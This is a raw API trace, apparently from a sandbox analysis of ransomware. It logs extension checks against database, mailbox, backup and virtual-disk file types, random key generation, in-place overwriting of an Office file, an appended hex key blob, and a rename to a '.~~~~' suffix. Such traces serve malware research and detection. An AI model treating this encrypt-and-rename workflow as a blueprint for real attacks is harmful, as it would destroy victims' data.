	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.133] lstrlenW (lpString=".DBF") returned 4
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.133] lstrlenW (lpString=".EQL") returned 4
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.133] lstrlenW (lpString=".FDB") returned 4
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.133] lstrlenW (lpString=".EDB") returned 4
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.133] lstrlenW (lpString=".DACPAC") returned 7
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.133] lstrlenW (lpString=".VHD") returned 4
	[0145.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.134] lstrlenW (lpString=".DBV") returned 4
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.134] lstrlenW (lpString=".dacpac") returned 7
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.134] lstrlenW (lpString=".sdf") returned 4
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.134] lstrlenW (lpString=".accdb") returned 6
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.134] lstrlenW (lpString=".DBX") returned 4
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.134] lstrlenW (lpString=".MDT") returned 4
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.134] lstrlenW (lpString=".SQB") returned 4
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.134] lstrlenW (lpString=".vhd") returned 4
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.134] lstrlenW (lpString=".bac") returned 4
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.134] lstrlenW (lpString=".mdf") returned 4
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.134] lstrlenW (lpString=".BAK") returned 4
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.134] lstrlenW (lpString=".BAC") returned 4
	[0145.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.135] lstrlenW (lpString=".dbs") returned 4
	[0145.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.135] lstrlenW (lpString=".vhdx") returned 5
	[0145.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.135] lstrlenW (lpString=".NDF") returned 4
	[0145.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.135] lstrlenW (lpString=".dat") returned 4
	[0145.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.135] lstrlenW (lpString=".DBS") returned 4
	[0145.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.135] lstrlenW (lpString=".CKP") returned 4
	[0145.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.560] lstrlenW (lpString=".edb") returned 4
	[0145.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.560] lstrlenW (lpString=".PST") returned 4
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.561] lstrlenW (lpString=".dbf") returned 4
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.561] lstrlenW (lpString=".SQL") returned 4
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.561] lstrlenW (lpString=".pst") returned 4
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.561] lstrlenW (lpString=".dbv") returned 4
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.561] lstrlenW (lpString=".SDF") returned 4
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.561] lstrlenW (lpString=".dtxs") returned 5
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.561] lstrlenW (lpString=".db3") returned 4
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.561] lstrlenW (lpString=".OST") returned 4
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.561] lstrlenW (lpString=".dbx") returned 4
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.561] lstrlenW (lpString=".DB3") returned 4
	[0145.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.562] lstrlenW (lpString=".DAT") returned 4
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.562] lstrlenW (lpString=".VHDX") returned 5
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.562] lstrlenW (lpString=".ndf") returned 4
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.562] lstrlenW (lpString=".DB") returned 3
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.562] lstrlenW (lpString=".sql") returned 4
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.562] lstrlenW (lpString=".MYD") returned 4
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.562] lstrlenW (lpString=".DBT") returned 4
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.562] lstrlenW (lpString=".ACCDB") returned 6
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.562] lstrlenW (lpString=".fdb") returned 4
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.562] lstrlenW (lpString=".bak") returned 4
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.562] lstrlenW (lpString=".myd") returned 4
	[0145.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.562] lstrlenW (lpString=".DTXS") returned 5
	[0145.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.563] lstrlenW (lpString=".ckp") returned 4
	[0145.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.563] lstrlenW (lpString=".dbt") returned 4
	[0145.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.563] lstrlenW (lpString=".db") returned 3
	[0145.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".db") returned 0x0
	[0145.563] lstrlenW (lpString=".TXT") returned 4
	[0145.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.563] lstrlenW (lpString=".MDF") returned 4
	[0145.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.563] lstrlenW (lpString=".bdb") returned 4
	[0145.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.563] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.563] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.563] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3956b8) returned 1
	[0145.568] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.568] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.569] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26555864905) returned 1
	[0145.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc02b1910, dwHighDateTime=0x1d60e1e)) 
	[0145.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3802e0
	[0145.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3802e0 | out: hHeap=0x300000) returned 1
	[0145.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0145.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6c68
	[0145.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.569] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.570] GetLastError () returned 0x0
	[0145.570] GetLastError () returned 0x0
	[0145.570] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.570] GetLastError () returned 0x0
	[0145.570] GetLastError () returned 0x0
	[0145.570] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.572] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.572] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.572] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.572] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.573] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.573] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.573] CloseHandle (hObject=0x138) returned 1
	[0145.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0145.573] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_f_col.hxk.~~~~")) returned 1
	[0145.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0145.576] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.576] GetLastError () returned 0x0
	[0145.576] RtlWakeConditionVariable () returned 0x0
	[0145.577] GetCurrentThreadId () returned 0x3a4
	[0145.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.577] lstrlenW (lpString=".cmd") returned 4
	[0145.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.577] lstrlenW (lpString=".dll") returned 4
	[0145.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.577] lstrlenW (lpString=".bat") returned 4
	[0145.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.577] lstrlenW (lpString=".cpl") returned 4
	[0145.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.577] lstrlenW (lpString=".sys") returned 4
	[0145.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.577] lstrlenW (lpString=".msc") returned 4
	[0145.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.577] lstrlenW (lpString=".com") returned 4
	[0145.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".com") returned 0x0
	[0145.577] lstrlenW (lpString=".lnk") returned 4
	[0145.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.577] lstrlenW (lpString=".msp") returned 4
	[0145.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.577] lstrlenW (lpString=".pif") returned 4
	[0145.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.578] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0145.580] lstrlenW (lpString=".sqb") returned 4
	[0145.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.580] lstrlenW (lpString=".ost") returned 4
	[0145.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.580] lstrlenW (lpString=".txt") returned 4
	[0145.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.580] lstrlenW (lpString=".mdt") returned 4
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.581] lstrlenW (lpString=".BDB") returned 4
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.581] lstrlenW (lpString=".eql") returned 4
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.581] lstrlenW (lpString=".DBF") returned 4
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.581] lstrlenW (lpString=".EQL") returned 4
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.581] lstrlenW (lpString=".FDB") returned 4
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.581] lstrlenW (lpString=".EDB") returned 4
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.581] lstrlenW (lpString=".DACPAC") returned 7
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.581] lstrlenW (lpString=".VHD") returned 4
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.581] lstrlenW (lpString=".DBV") returned 4
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.581] lstrlenW (lpString=".dacpac") returned 7
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.581] lstrlenW (lpString=".sdf") returned 4
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.581] lstrlenW (lpString=".accdb") returned 6
	[0145.581] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.582] lstrlenW (lpString=".DBX") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.582] lstrlenW (lpString=".MDT") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.582] lstrlenW (lpString=".SQB") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.582] lstrlenW (lpString=".vhd") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.582] lstrlenW (lpString=".bac") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.582] lstrlenW (lpString=".mdf") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.582] lstrlenW (lpString=".BAK") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.582] lstrlenW (lpString=".BAC") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.582] lstrlenW (lpString=".dbs") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.582] lstrlenW (lpString=".vhdx") returned 5
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.582] lstrlenW (lpString=".NDF") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.582] lstrlenW (lpString=".dat") returned 4
	[0145.582] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.583] lstrlenW (lpString=".DBS") returned 4
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.583] lstrlenW (lpString=".CKP") returned 4
	[0145.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.583] lstrlenW (lpString=".edb") returned 4
